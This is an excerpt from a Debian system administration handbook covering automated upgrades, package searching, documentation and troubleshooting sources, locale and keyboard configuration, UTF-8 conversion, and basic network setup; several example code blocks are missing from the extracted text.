The Debian distribution is dynamic and changes continually. Most of the changes are in the Testing and Unstable versions, but even Stable is updated from time to time, mostly for security-related fixes. Whatever version of Debian a system runs, it is generally a good idea to keep it up to date, so that you can get the benefit of recent evolutions and bug fixes.
While it is of course possible to periodically run a tool to check for available updates and run the upgrades, such a repetitive task is tedious, especially when it needs to be performed on several machines. Fortunately, like many repetitive tasks, it can be partly automated, and a set of tools have already been developed to that effect.
The first of these tools is apticron, in the package of the same name. Its main effect is to run a script daily (via cron). The script updates the list of available packages, and, if some installed packages are not in the latest available version, it sends an email with a list of these packages along with the changes that have been made in the new versions. Obviously, this package mostly targets users of Debian Stable, since the daily emails would be very long for the faster paced versions of Debian. When updates are available, apticron automatically downloads them. It does not install them — the administrator will still do it — but having the packages already downloaded and available locally (in APT's cache) makes the job faster.
Administrators in charge of several computers will no doubt appreciate being informed of pending upgrades, but the upgrades themselves are still as tedious as they used to be, which is where the /etc/cron.daily/apt
script (in the apt package) comes in handy. This script is also run daily (and non-interactively) by cron. To control its behavior, use APT configuration variables (which are therefore stored in a file under /etc/apt/apt.conf.d/
). The main variables are:
APT::Periodic::Update-Package-Lists
This option allows you to specify the frequency (in days) at which the package lists are refreshed. apticron users can do without this variable, since apticron already does this task.
APT::Periodic::Download-Upgradeable-Packages
Again, this option indicates a frequency (in days), this time for the downloading of the actual packages. Again, apticron users won't need it.
APT::Periodic::AutocleanInterval
This option covers a feature that apticron doesn't have. It controls how often obsolete packages (those not referenced by any distribution anymore) are removed from the APT cache. This keeps the APT cache at a reasonable size and means that you don't need to worry about that task.
APT::Periodic::Unattended-Upgrade
When this option is enabled, the daily script will execute unattended-upgrade (from the unattended-upgrades package) which — as its name suggest — can automatize the upgrade process for some packages (by default it only takes care of security updates, but this can be customized in /etc/apt/apt.conf.d/50unattended-upgrades
). Note that this option can be set with the help of debconf by running dpkg-reconfigure -plow unattended-upgrades.
Other options can allow you to control the cache cleaning behavior with more precision. They are not listed here, but they are described in the /etc/cron.daily/apt
script.
These tools work very well for servers, but desktop users generally prefer a more interactive system. That is why the “Debian desktop environment” task installs gnome-packagekit (at least when you select GNOME as desktop environment). It provides an icon in the notification area of desktop environments when updates are available; clicking on this icon then runs gpk-update-viewer, a simplified interface to perform updates. You can browse through available updates, read the short description of the relevant packages and the corresponding changelog
entries, and select whether to apply the update or not on a case-by-case basis.
Fig. 6.3. Upgrading with gpk-update-viewer
Since Falcot Corp has many computers but only limited manpower, its administrators try to make upgrades as automatic as possible. The programs in charge of these processes must therefore run with no human intervention.
As we have already mentioned (see sidebar GOING FURTHER Avoiding the configuration file questions), dpkg can be instructed not to ask for confirmation when replacing a configuration file (with the --force-confdef --force-confold
options). Interactions can, however, have three other sources: some come from APT itself, some are handled by debconf, and some happen on the command line due to package configuration scripts.
The case of APT is simple: the -y
option (or --assume-yes
) tells APT to consider the answer to all its questions to be “yes”.
The case of debconf deserves more details. This program was, from its inception, designed to control the relevance and volume of questions displayed to the user, as well as the way they are shown. That is why its configuration requests a minimal priority for questions; only questions above the minimal priority are displayed. debconf assumes the default answer (defined by the package maintainer) for questions which it decided to skip.
The other relevant configuration element is the interface used by the front-end. If you choose noninteractive
out of the choices, all user interaction is disabled. If a package tries to display an informative note, it will be sent to the administrator by email.
To reconfigure debconf, use the dpkg-reconfigure tool from the debconf package; the relevant command is dpkg-reconfigure debconf. Note that the configured values can be temporarily overridden with environment variables when needed (for instance, DEBIAN_FRONTEND
controls the interface, as documented in the debconf(7) manual page).
The last source of interactions, and the hardest to get rid of, is the configuration scripts run by dpkg. There is unfortunately no standard solution, and no answer is overwhelmingly better than another.
The common approach is to suppress the standard input by redirecting the empty content of /dev/null
into it with command
</dev/null, or to feed it with an endless stream of newlines. None of these methods is 100 % reliable, but they generally lead to the default answers being used, since most scripts consider a lack of reply as an acceptance of the default value.
By combining the previous elements, it is possible to design a small but rather reliable script which can handle automatic upgrades.
Exemplu 6.4. Non-interactive upgrade script
IN PRACTICE The Falcot Corp case
Falcot computers are a heterogeneous system, with machines having various functions. Administrators will therefore pick the most relevant solution for each computer.
In practice, the servers running Jessie are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with apticron, so that upgrades always happen under the supervision of an administrator.
The office workstations in the administrative services also run Jessie, but they are equipped with gnome-packagekit, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users.
In the lab, the few computers using Testing — to take advantage of the latest software versions — are not upgraded automatically either. Administrators only configure APT to prepare the upgrades but not enact them; when they decide to upgrade (manually), the tedious parts of refreshing package lists and downloading packages will be avoided, and administrators can focus on the really useful part.
With the large and ever-growing amount of software in Debian, there emerges a paradox: Debian usually has a tool for most tasks, but that tool can be very difficult to find amongst the myriad other packages. The lack of appropriate ways to search for (and to find) the right tool has long been a problem. Fortunately, this problem has almost entirely been solved.
The most trivial search possible is looking up an exact package name. If apt show package
returns a result, then the package exists. Unfortunately, this requires knowing or even guessing the package name, which isn't always possible.
TIP Package naming conventions
Some categories of packages are named according to a conventional naming scheme; knowing the scheme can sometimes allow you to guess exact package names. For instance, for Perl modules, the convention says that a module called
XML::Handler::Composer
upstream should be packaged as libxml-handler-composer-perl. The library enabling the use of the gconf system from Python is packaged as python-gconf. It is unfortunately not possible to define a fully general naming scheme for all packages, even though package maintainers usually try to follow the choice of the upstream developers.
A slightly more successful searching pattern is a plain-text search in package names, but it remains very limited. You can generally find results by searching package descriptions: since each package has a more or less detailed description in addition to its package name, a keyword search in these descriptions will often be useful. apt-cache and axi-cache are the tools of choice for this kind of search; for instance, apt-cache search video will return a list of all packages whose name or description contains the keyword “video”.
For more complex searches, a more powerful tool such as aptitude is required. aptitude allows you to search according to a logical expression based on the package's meta-data fields. For instance, the following command searches for packages whose name contains kino
, whose description contains video
and whose maintainer's name contains paul
:
aptitude search kino~dvideo~mpaul
aptitude show kino
The search only returns one package, kino, which satisfies all three criteria.
Even these multi-criteria searches are rather unwieldy, which explains why they are not used as much as they could. A new tagging system has therefore been developed, and it provides a new approach to searching. Packages are given tags that provide a thematical classification along several strands, known as a “facet-based classification”. In the case of kino above, the package's tags indicate that Kino is a Gnome-based software that works on video data and whose main purpose is editing.
Browsing this classification can help you to search for a package which corresponds to known needs; even if it returns a (moderate) number of hits, the rest of the search can be done manually. To do that, you can use the ~G
search pattern in aptitude, but it is probably easier to simply navigate the site where tags are managed:
Selecting the works-with::video
and use::editing
tags yields a handful of packages, including the kino and pitivi video editors. This system of classification is bound to be used more and more as time goes on, and package managers will gradually provide efficient search interfaces based on it.
To sum up, the best tool for the job depends on the complexity of the search that you wish to do:
For an administrator, the most important skill is to be able to cope with any situation, known or unknown. This chapter gives a number of methods that will — hopefully — allow you to isolate the cause of any problem that you will encounter, so that you may be able to resolve them.
Before you can understand what is really going on when there is a problem, you need to know the theoretical role played by each program involved in the problem. To do this, the best reflex to have is consult their documentation; but since these documentations are many and can be scattered far and wide, you should know all the places where they can be found.
CULTURE RTFM
This acronym stands for “Read the F***ing Manual”, but can also be expanded in a friendlier variant, “Read the Fine Manual”. This phrase is sometimes used in (terse) responses to questions from newbies. It is rather abrupt, and betrays a certain annoyance at a question asked by someone who has not even bothered to read the documentation. Some say that this classic response is better than no response at all (since it indicates that the documentation contains the information sought), or than a more verbose and angry answer.
In any case, if someone responds “RTFM” to you, it is often wise not to take offense. Since this answer may be perceived as vexing, you might want to try and avoid receiving it. If the information that you need is not in the manual, which can happen, you might want to say so, preferably in your initial question. You should also describe the various steps that you have personally taken to find information before you raised a question on a forum. Following Eric Raymond's guidelines is a good way to avoid the most common mistakes and get useful answers.
Manual pages, while relatively terse in style, contain a great deal of essential information. We will quickly go over the command for viewing them. Simply type man manual-page
— the manual page usually goes by the same name as the command whose documentation is sought. For example, to learn about the possible options for the cp command, you would type the man cp command at the shell prompt (see sidebar BACK TO BASICS The shell, a command line interpreter).
BACK TO BASICS The shell, a command line interpreter
A command line interpreter, also called a “shell”, is a program that executes commands that are either entered by the user or stored in a script. In interactive mode, it displays a prompt (usually ending in
$
for a normal user, or by#
for an administrator) indicating that it is ready to read a new command. Anexa B, Short Remedial Course describes the basics of using the shell.The default and most commonly used shell is bash (Bourne Again SHell), but there are others, including dash, csh, tcsh and zsh.
Among other things, most shells offer help during input at the prompt, such as the completion of command or file names (which you can generally activate by pressing the tab key), or recalling previous commands (history management).
Man pages not only document programs accessible from the command line, but also configuration files, system calls, C library functions, and so forth. Sometimes names can collide. For example, the shell's read command has the same name as the read
system call. This is why manual pages are organized in numbered sections:
/dev/
directory); It is possible to specify the section of the manual page that you are looking for: to view the documentation for the read
system call, you would type man 2 read. When no section is explicitly specified, the first section that has a manual page with the requested name will be shown. Thus, man shadow returns shadow(5) because there are no manual pages for shadow in sections 1 to 4.
TIP whatis
If you do not want to look at the full manual page, but only a short description to confirm that it is what you are looking for, simply enter whatis
command
.$
whatis scp
scp (1) - secure copy (remote file copy program)
This short description is included in the NAME section at the beginning of all manual pages.
Of course, if you do not know the names of the commands, the manual is not going to be of much use to you. This is the purpose of the apropos command, which helps you conduct a search in the manual pages, or more specifically in their short descriptions. Each manual page begins essentially with a one line summary. apropos returns a list of manual pages whose summary mentions the requested keyword(s). If you choose them well, you will find the name of the command that you need.
Exemplu 7.1. Finding cp with apropos
$
apropos "copy file"
cp (1) - copy files and directories
cpio (1) - copy files to and from archives
gvfs-copy (1) - Copy files
gvfs-move (1) - Copy files
hcopy (1) - copy files from or to an HFS volume
install (1) - copy files and set attributes
ntfscp (8) - copy file to an NTFS volume.
TIP Browsing by following links
Many manual pages have a “SEE ALSO” section, usually at the end. It refers to other manual pages relevant to similar commands, or to external documentation. In this way, it is possible to find relevant documentation even when the first choice is not optimal.
The man command is not the only means of consulting the manual pages, since konqueror (in KDE) and yelp (under GNOME) programs also offer this possibility. There is also a web interface, provided by the man2html package, which allows you to view manual pages in a web browser. On a computer where this package is installed, use this URL:
This utility requires a web server. This is why you should choose to install this package on one of your servers: all users of the local network could benefit from this service (including non-Linux machines), and this will allow you not to set up an HTTP server on each workstation. If your server is also accessible from other networks, it may be desirable to restrict access to this service only to users of the local network.
DEBIAN POLICY Required man pages
Debian requires each program to have a manual page. If the upstream author does not provide one, the Debian package maintainer will usually write a minimal page that will at the very least direct the reader to the location of the original documentation.
The GNU project has written manuals for most of its programs in the info format; this is why many manual pages refer to the corresponding info documentation. This format offers some advantages, but the default program to view these documents (it is called info) is also slightly more complex. You would be well advised to use pinfo instead (from the pinfo package).
The info documentation has a hierarchical structure, and if you invoke pinfo without parameters, it will display a list of the nodes available at the first level. Usually, nodes bear the name of the corresponding commands.
With pinfo navigating between these nodes is easy to achieve with the arrow keys. Alternatively, you could also use a graphical browser, which is a lot more user-friendly. Again, konqueror and yelp work; the info2www also provides a web interface.
Note that the info system is not suitable for translation, unlike the man page system. info documents are thus almost always in English. However, when you ask the pinfo program to display a non-existing info page, it will fall back on the man page by the same name (if it exists), which might be translated.
Each package includes its own documentation. Even the least well documented programs generally have a README
file containing some interesting and/or important information. This documentation is installed in the /usr/share/doc/
directory (where package
/package
represents the name of the package). If the documentation is particularly large, it may not be included in the program's main package, but might be offloaded to a dedicated package which is usually named
. The main package generally recommends the documentation package so that you can easily find it. package
-doc
The /usr/share/doc/
directory also contains some files provided by Debian which complete the documentation by specifying the package's particularities or improvements compared to a traditional installation of the software. The package
/README.Debian
file also indicates all of the adaptations that were made to comply with the Debian Policy. The changelog.Debian.gz
file allows the user to follow the modifications made to the package over time: it is very useful to try to understand what has changed between two installed versions that do not have the same behavior. Finally, there is sometimes a NEWS.Debian.gz
file which documents the major changes in the program that may directly concern the administrator.
In most cases, free software programs have websites that are used to distribute it and to bring together the community of its developers and users. These sites are frequently loaded with relevant information in various forms: official documentation, FAQ (Frequently Asked Questions), mailing list archives, etc. Problems that you may encounter have often already been the subject of many questions; the FAQ or mailing list archives may have a solution for it. A good mastery of search engines will prove immensely valuable to find relevant pages quickly (by restricting the search to the Internet domain or sub-domain dedicated to the program). If the search returns too many pages or if the results do not match what you seek, you can add the keyword debian
to limit results and target relevant information.
TIPS From error to solution
If the software returns a very specific error message, enter it into the search engine (between double quotes,
"
, in order to search not for individual keywords, but for the complete phrase). In most cases, the first links returned will contain the answer that you need.In other cases, you will get very general errors, such as “Permission denied”. In this case, it is best to check the permissions of the elements involved (files, user ID, groups, etc.).
If you do not know the address for the software's website, there are various means of getting it. First, check if there is a Homepage
field in the package's meta-information (apt-cache show package
). Alternately, the package description may contain a link to the program's official website. If no URL is indicated, look at /usr/share/doc/
. The Debian maintainer generally indicates in this file where they got the program's source code, and this is likely to be the website that you need to find. If at this stage your search is still unfruitful, consult a free software directory, such as FSF's Free Software Directory, or search directly with a search engine, such as Google, DuckDuckGo, Yahoo, etc. package
/copyright
You might also want to check the Debian wiki, a collaborative website where anybody, even simple visitors, can make suggestions directly from their browsers. It is used equally by developers who design and specify their projects, and by users who share their knowledge by writing documents collaboratively.
A howto is a document that describes, in concrete terms and step by step, “how to” reach a predefined goal. The covered goals are relatively varied, but often technical in nature: for example, setting up IP Masquerading, configuring software RAID, installing a Samba server, etc. These documents often attempt to cover all of the potential problems likely to occur during the implementation of a given technology.
Many such tutorials are managed by the Linux Documentation Project (LDP), whose website hosts all of these documents:
These documents should be taken with a grain of salt. They are often several years old; the information they contain is sometimes obsolete. This phenomenon is even more frequent for their translations, since updates are neither systematic nor instant after the publication of a new version of the original documents. This is part of the joys of working in a volunteer environment and without constraints…
The purpose of this section is to present some general tips on certain operations that an administrator will frequently have to perform. These procedures will of course not cover every possible case in an exhaustive way, but they may serve as starting points for the more difficult cases.
DISCOVERY Documentation in other languages
Often, documentation translated into a non-English language is available in a separate package with the name of the corresponding package, followed by
-
(wherelang
lang
is the two-letter ISO code for the language).For instance, the apt-howto-fr package contains the French translation of the howto for APT. Likewise, the quick-reference-fr and debian-reference-fr packages are the French versions of the reference guides for Debian (initially written in English by Osamu Aoki).
When you want to configure an unknown package, you must proceed in stages. First, you should read what the package maintainer has documented. Reading /usr/share/doc/
will indeed allow you to learn of specific provisions made to simplify the use of the software. It is sometimes essential in order to understand the differences from the original behavior of the program, as described in the general documentation, such as howtos. Sometimes this file also details the most common errors in order for you to avoid wasting time on common problems. package
/README.Debian
Then, you should look at the software's official documentation — refer to Secțiune 7.1, „Documentation Sources” to identify the various existing documentation sources. The dpkg -L package
command gives a list of files included in the package; you can therefore quickly identify the available documentation (as well as the configuration files, located in /etc/
). dpkg -s package
displays the package meta-data and shows any possible recommended or suggested packages; in there, you can find documentation or a utility that will ease the configuration of the software.
Finally, the configuration files are often self-documented by many explanatory comments detailing the various possible values for each configuration setting. So much so that it is sometimes enough to just choose a line to activate from among those available. In some cases, examples of configuration files are provided in the /usr/share/doc/
directory. They may serve as a basis for your own configuration file. package
/examples/
DEBIAN POLICY Location of examples
All examples must be installed in the
/usr/share/doc/
directory. This may be a configuration file, program source code (an example of the use of a library), or a data conversion script that the administrator can use in certain cases (such as to initialize a database). If the example is specific to a particular architecture, it should be installed inpackage
/examples//usr/lib/
and there should be a link pointing to that file in thepackage
/examples//usr/share/doc/
directory.package
/examples/
Understanding what a daemon does is somewhat more complicated, since it does not interact directly with the administrator. To check that a daemon is actually working, you need to test it. For example, to check the Apache (web server) daemon, test it with an HTTP request.
To allow such tests, each daemon generally records everything that it does, as well as any errors that it encounters, in what are called “log files” or “system logs”. Logs are stored in /var/log/
or one of its subdirectories. To know the precise name of a log file for each daemon, see its documentation. Note: a single test is not always sufficient if it does not cover all the possible usage cases; some problems only occur in particular circumstances.
TOOL The rsyslogd daemon
rsyslogd is special: it collects logs (internal system messages) that are sent to it by other programs. Each log entry is associated with a subsystem (e-mail, kernel, authentication, etc.) and a priority; rsyslogd processes these two pieces of information to decide on what to do. The log message may be recorded in various log files, and/or sent to an administration console. The details are defined in the
/etc/rsyslog.conf
configuration file (documented in the manual page of the same name).Certain C functions, which are specialized in sending logs, simplify the use of the rsyslogd daemon. However some daemons manage their own log files (this is the case, for example, of samba, that implements Windows shares on Linux).
Note that when systemd is in use, the logs are actually collected by systemd before being forwarded to rsyslogd. They are thus also available via systemd's journal and can be consulted with journalctl (see Secțiune 9.1.1, „The systemd init system” for details).
BACK TO BASICS Daemon
A daemon is a program that is not explicitly invoked by the user and that stays in the background, waiting for a certain condition to be met before performing a task. Many server programs are daemons, a term that explains that the letter “d” is frequently present at the end of their name (sshd, smtpd, httpd, etc.).
As a preventive operation, the administrator should regularly read the most relevant server logs. They can thus diagnose problems before they are even reported by disgruntled users. Indeed users may sometimes wait for a problem to occur repeatedly over several days before reporting it. In many cases, there are specific tools to analyze the contents of the larger log files. In particular, such utilities exist for web servers (such as analog, awstats, webalizer for Apache), for FTP servers, for proxy/cache servers, for firewalls, for e-mail servers, for DNS servers, and even for print servers. Some of these utilities operate in a modular manner and allow analysis of several types of log files. This is the case of lire. Other tools, such as logcheck (a software discussed in Cap. 14, Security), scan these files in search of alerts to be dealt with.
If your various searches haven't helped you to get to the root of a problem, it is possible to get help from other, perhaps more experienced people. This is exactly the purpose of the <debian-user@lists.debian.org>
mailing list. As with any community, it has rules that need to be followed. Before asking any question, you should check that your problem isn't already covered by recent discussions on the list or by any official documentation.
TIP Reading a list on the Web
For high volume mailing lists, such as
<debian-user@lists.debian.org>
, it may be worthwhile to go through them as a discussion forum (or newsgroup). Gmane.org allows consultation of the Debian lists in this format. The list mentioned above is available at:
BACK TO BASICS Netiquette applies
In general, for all correspondence on e-mail lists, the rules of Netiquette should be followed. This term refers to a set of common sense rules, from common courtesy to mistakes that should be avoided.
Furthermore, for any communication channel managed by the Debian project, you are bound by the Debian Code of Conduct:
Once those two conditions are met, you can think of describing your problem to the mailing list. Include as much relevant information as possible: various tests conducted, documentation consulted, how you attempted to diagnose the problem, the packages concerned or those that may be involved, etc. Check the Debian Bug Tracking System (BTS, described in sidebar TOOL Bug tracking system) for similar problems, and mention the results of that search, providing links to bugs found. BTS starts on:
The more courteous and precise you have been, the greater your chances are of getting an answer, or, at least, some elements of response. If you receive relevant information by private e-mail, think of summarizing this information publicly so that others can benefit. This also allows the list's archives, searched through various search engines, to show the resolution for others who may have the same question.
If all of your efforts to resolve a problem fail, it is possible that a resolution is not your responsibility, and that the problem is due to a bug in the program. In this case, the proper procedure is to report the bug to Debian or directly to the upstream developers. To do this, isolate the problem as much as possible and create a minimal test situation in which it can be reproduced. If you know which program is the apparent cause of the problem, you can find its corresponding package using the command, dpkg -S file_in_question
. Check the Bug Tracking System (https://bugs.debian.org/
) to ensure that the bug has not already been reported. You can then send your own bug report, using the reportbug command, including as much information as possible, especially a complete description of those minimal test cases that will allow anyone to recreate the bug. package
The elements of this chapter are a means of effectively resolving issues that the following chapters may bring about. Use them as often as necessary!
A computer with a new installation created with debian-installer is intended to be as functional as possible, but many services still have to be configured. Furthermore, it is always good to know how to change certain configuration elements defined during the initial installation process.
This chapter reviews everything included in what we could call the “basic configuration”: networking, language and locales, users and groups, printing, mount points, etc.
If the system was installed using French, the machine will probably already have French set as the default language. But it is good to know what the installer does to set the language, so that later, if the need arises, you can change it.
TOOL The locale command to display the current configuration
The locale command lists a summary of the current configuration of various locale parameters (date format, numbers format, etc.), presented in the form of a group of standard environment variables dedicated to the dynamic modification of these settings.
A locale is a group of regional settings. This includes not only the language for text, but also the format for displaying numbers, dates, times, and monetary sums, as well as the alphabetical comparison rules (to properly account for accented characters). Although each of these parameters can be specified independently from the others, we generally use a locale, which is a coherent set of values for these parameters corresponding to a “region” in the broadest sense. These locales are usually indicated under the form,
, sometimes with a suffix to specify the character set and encoding to be used. This enables consideration of idiomatic or typographical differences between different regions with a common language. language-code
_COUNTRY-CODE
CULTURE Character sets
Historically, each locale has an associated “character set” (group of known characters) and a preferred “encoding” (internal representation for characters within the computer).
The most popular encodings for latin-based languages were limited to 256 characters because they opted to use a single byte for each character. Since 256 characters was not enough to cover all European languages, multiple encodings were needed, and that is how we ended up with ISO-8859-1 (also known as “Latin 1”) up to ISO-8859-15 (also known as “Latin 9”), among others.
Working with foreign languages often implied regular switches between various encodings and character sets. Furthermore, writing multilingual documents led to further, almost intractable problems. Unicode (a super-catalog of nearly all writing systems from all of the world's languages) was created to work around this problem. One of Unicode's encodings, UTF-8, retains all 128 ASCII symbols (7-bit codes), but handles other characters differently. Those are preceded by a specific escape sequence of a few bits, which implicitly defines the length of the character. This allows encoding all Unicode characters on a sequence of one or more bytes. Its use has been popularized by the fact that it is the default encoding in XML documents.
This is the encoding that should generally be used, and is thus the default on Debian systems.
The locales package includes all the elements required for proper functioning of “localization” of various applications. During installation, this package will ask to select a set of supported languages. This set can be changed at any time by running dpkg-reconfigure locales as root.
The first question invites you to select “locales” to support. Selecting all English locales (meaning those beginning with “en_
”) is a reasonable choice. Do not hesitate to also enable other locales if the machine will host foreign users. The list of locales enabled on the system is stored in the /etc/locale.gen
file. It is possible to edit this file by hand, but you should run locale-gen after any modifications. It will generate the necessary files for the added locales to work, and remove any obsolete files.
The second question, entitled “Default locale for the system environment”, requests a default locale. The recommended choice in the U.S.A. is “en_US.UTF-8
”. British English speakers will prefer “en_GB.UTF-8
”, and Canadians will prefer either “en_CA.UTF-8
” or, for French, “fr_CA.UTF-8
”. The /etc/default/locale
file will then be modified to store this choice. From there, it is picked up by all user sessions since PAM will inject its content in the LANG
environment variable.
BEHIND THE SCENES
/etc/environment
and/etc/default/locale
The
/etc/environment
file provides the login, gdm, or even ssh programs with the correct environment variables to be created.These applications do not create these variables directly, but rather via a PAM (
pam_env.so
) module. PAM (Pluggable Authentication Module) is a modular library centralizing the mechanisms for authentication, session initialization, and password management. See Secțiune 11.7.3.2, „Configuring PAM” for an example of PAM configuration.The
/etc/default/locale
file works in a similar manner, but contains only theLANG
environment variable. Thanks to this split, some PAM users can inherit a complete environment without localization. Indeed, it is generally discouraged to run server programs with localization enabled; on the other hand, localization and regional settings are recommended for programs that open user sessions.
Even if the keyboard layout is managed differently in console and graphical mode, Debian offers a single configuration interface that works for both: it is based on debconf and is implemented in the keyboard-configuration package. Thus the dpkg-reconfigure keyboard-configuration command can be used at any time to reset the keyboard layout.
The questions are relevant to the physical keyboard layout (a standard PC keyboard in the US will be a “Generic 104 key”), then the layout to choose (generally “US”), and then the position of the AltGr key (right Alt). Finally comes the question of the key to use for the “Compose key”, which allows for entering special characters by combining keystrokes. Type successively Compose ' e and produce an e-acute (“é”). All these combinations are described in the /usr/share/X11/locale/en_US.UTF-8/Compose
file (or another file, determined according to the current locale indicated by /usr/share/X11/locale/compose.dir
).
Note that the keyboard configuration for graphical mode described here only affects the default layout; the GNOME and KDE environments, among others, provide a keyboard control panel in their preferences allowing each user to have their own configuration. Some additional options regarding the behavior of some particular keys are also available in these control panels.
The generalization of UTF-8 encoding has been a long awaited solution to numerous difficulties with interoperability, since it facilitates international exchange and removes the arbitrary limits on characters that can be used in a document. The one drawback is that it had to go through a rather difficult transition phase. Since it could not be completely transparent (that is, it could not happen at the same time all over the world), two conversion operations were required: one on file contents, and the other on filenames. Fortunately, the bulk of this migration has been completed and we discuss it largely for reference.
CULTURE Mojibake and interpretation errors
When a text is sent (or stored) without encoding information, it is not always possible for the recipient to know with certainty what convention to use for determining the meaning of a set of bytes. You can usually get an idea by getting statistics on the distribution of values present in the text, but that doesn't always give a definite answer. When the encoding system chosen for reading differs from that used in writing the file, the bytes are mis-interpreted, and you get, at best, errors on some characters, or, at worst, something completely illegible.
Thus, if a French text appears normal with the exception of accented letters and certain symbols which appear to be replaced with sequences of characters like “é” or è” or “ç”, it is probably a file encoded as UTF-8 but interpreted as ISO-8859-1 or ISO-8859-15. This is a sign of a local installation that has not yet been migrated to UTF-8. If, instead, you see question marks instead of accented letters — even if these question marks seem to also replace a character that should have followed the accented letter — it is likely that your installation is already configured for UTF-8 and that you have been sent a document encoded in Western ISO.
So much for “simple” cases. These cases only appear in Western culture, since Unicode (and UTF-8) was designed to maximize the common points with historical encodings for Western languages based on the Latin alphabet, which allows recognition of parts of the text even when some characters are missing.
In more complex configurations, which, for example, involve two environments corresponding to two different languages that do not use the same alphabet, you often get completely illegible results — a series of abstract symbols that have nothing to do with each other. This is especially common with Asian languages due to their numerous languages and writing systems. The Japanese word mojibake has been adopted to describe this phenomenon. When it appears, diagnosis is more complex and the simplest solution is often to simply migrate to UTF-8 on both sides.
As far as file names are concerned, the migration can be relatively simple. The convmv tool (in the package with the same name) was created specifically for this purpose; it allows renaming files from one encoding to another. The use of this tool is relatively simple, but we recommend doing it in two steps to avoid surprises. The following example illustrates a UTF-8 environment containing directory names encoded in ISO-8859-15, and the use of convmv to rename them.
$
ls travail/
Ic?nes ?l?ments graphiques Textes
$
convmv -r -f iso-8859-15 -t utf-8 travail/
Starting a dry run without changes...
mv "travail/�l�ments graphiques" "travail/Éléments graphiques"
mv "travail/Ic�nes" "travail/Icônes"
No changes to your files done. Use --notest to finally rename the files.
$
convmv -r --notest -f iso-8859-15 -t utf-8 travail/
mv "travail/�l�ments graphiques" "travail/Éléments graphiques"
mv "travail/Ic�nes" "travail/Icônes"
Ready!
$
ls travail/
Éléments graphiques Icônes Textes
For the file content, conversion procedures are more complex due to the vast variety of existing file formats. Some file formats include encoding information that facilitates the tasks of the software used to treat them; it is sufficient, then, to open these files and re-save them specifying UTF-8 encoding. In other cases, you have to specify the original encoding (ISO-8859-1 or “Western”, or ISO-8859-15 or “Western (Euro)”, according to the formulations) when opening the file.
For simple text files, you can use recode (in the package of the same name) which allows automatic recoding. This tool has numerous options so you can play with its behavior. We recommend you consult the documentation, the recode(1) man page, or the recode info page (more complete).
BACK TO BASICS Essential network concepts (Ethernet, IP address, subnet, broadcast)
Most modern local networks use the Ethernet protocol, where data is split into small blocks called frames and transmitted on the wire one frame at a time. Data speeds vary from 10 Mb/s for older Ethernet cards to 10 Gb/s in the newest cards (with the most common rate currently growing from 100 Mb/s to 1 Gb/s). The most widely used cables are called 10BASE-T, 100BASE-T, 1000BASE-T or 10GBASE-T depending on the throughput they can reliably provide (the T stands for “twisted pair”); those cables end in an RJ45 connector. There are other cable types, used mostly for speeds of 1 Gb/s and above.
An IP address is a number used to identify a network interface on a computer on a local network or the Internet. In the currently most widespread version of IP (IPv4), this number is encoded in 32 bits, and is usually represented as 4 numbers separated by periods (e.g.
192.168.0.1
), each number being between 0 and 255 (inclusive, which corresponds to 8 bits of data). The next version of the protocol, IPv6, extends this addressing space to 128 bits, and the addresses are generally represented as a series of hexadecimal numbers separated by colons (e.g., 2001:0db8:13bb:0002:0000:0000:0000:0020, or 2001:db8:13bb:2::20 for short).A subnet mask (netmask) defines in its binary code which portion of an IP address corresponds to the network, the remainder specifying the machine. In the example of configuring a static IPv4 address given here, the subnet mask,
255.255.255.0
(24 “1”s followed by 8 “0”s in binary representation) indicates that the first 24 bits of the IP address correspond to the network address, and the other 8 are specific to the machine. In IPv6, for readability, only the number of “1”s is expressed; the netmask for an IPv6 network could, thus, be64
.The network address is an IP address in which the part describing the machine's number is 0. The range of IPv4 addresses in a complete network is often indicated by the syntax, a.b.c.d/e, in which a.b.c.d is the network address and e is the number of bits affected to the network part in an IP address. The example network would thus be written:
192.168.0.0/24
. The syntax is similar in IPv6:2001:db8:13bb:2::/64
.A router is a machine that connects several networks to each other. All traffic coming through a router is guided to the correct network. To do this, the router analyzes incoming packets and redirects them according to the IP address of their destination. The router is often known as a gateway; in this configuration, it works as a machine that helps reach out beyond a local network (towards an extended network, such as the Internet).
The special broadcast address connects all the stations in a network. Almost never “routed”, it only functions on the network in question. Specifically, it means that a data packet addressed to the broadcast never passes through the router.
This chapter focuses on IPv4 addresses, since they are currently the most commonly used. The details of the IPv6 protocol are approached in Secțiune 10.5, „IPv6”, but the concepts remain the same.
Since the network is automatically configured during the initial installation, the /etc/network/interfaces
file already contains a valid configuration. A line starting with auto
gives a list of interfaces to be automatically configured on boot by ifupdown and its /etc/init.d/networking
init script. This will often be eth0
, which refers to the first Ethernet card.
ALTERNATIVE NetworkManager
If Network Manager is particularly recommended in roaming setups (see Secțiune 8.2.4, „Automatic Network Configuration for Roaming Users”), it is also perfectly usable as the default network management tool. You can create “System connections” that are used as soon as the computer boots either manually with a
.ini
-like file in/etc/NetworkManager/system-connections/
or through a graphical tool (nm-connection-editor). Just remember to deactivate all entries in/etc/network/interfaces
if you want Network Manager to handle them.
If the computer has an Ethernet card, the IP network that is associated with it must be configured by choosing from one of two methods. The simplest method is dynamic configuration with DHCP, and it requires a DHCP server on the local network. It may indicate a desired hostname, corresponding to the hostname
setting in the example below. The DHCP server then sends configuration settings for the appropriate network.
Exemplu 8.1. DHCP configuration
A “static” configuration must indicate network settings in a fixed manner. This includes at least the IP address and subnet mask; network and broadcast addresses are also sometimes listed. A router connecting to the exterior will be specified as a gateway.
Exemplu 8.2. Static configuration
NOTE Multiple addresses
It is possible not only to associate several interfaces to a single, physical network card, but also several IP addresses to a single interface. Remember also that an IP address may correspond to any number of names via DNS, and that a name may also correspond to any number of numerical IP addresses.
As you can guess, the configurations can be rather complex, but these options are only used in very special cases. The examples cited here are typical of the usual configurations.
A point to point (PPP) connection establishes an intermittent connection; this is the most common solution for connections made with a telephone modem (“PSTN modem”, since the connection goes over the public switched telephone network).
A connection by telephone modem requires an account with an access provider, including a telephone number, username, password, and, sometimes the authentication protocol to be used. Such a connection is configured using the pppconfig tool in the Debian package of the same name. By default, it sets up a connection named provider
(as in Internet service provider). When in doubt about the authentication protocol, choose PAP: it is offered by the majority of Internet service providers.
After configuration, it is possible to connect using the pon command (giving it the name of the connection as a parameter, when the default value of provider
is not appropriate). The link is disconnected with the poff command. These two commands can be executed by the root user, or by any other user, provided they are in the dip
group.
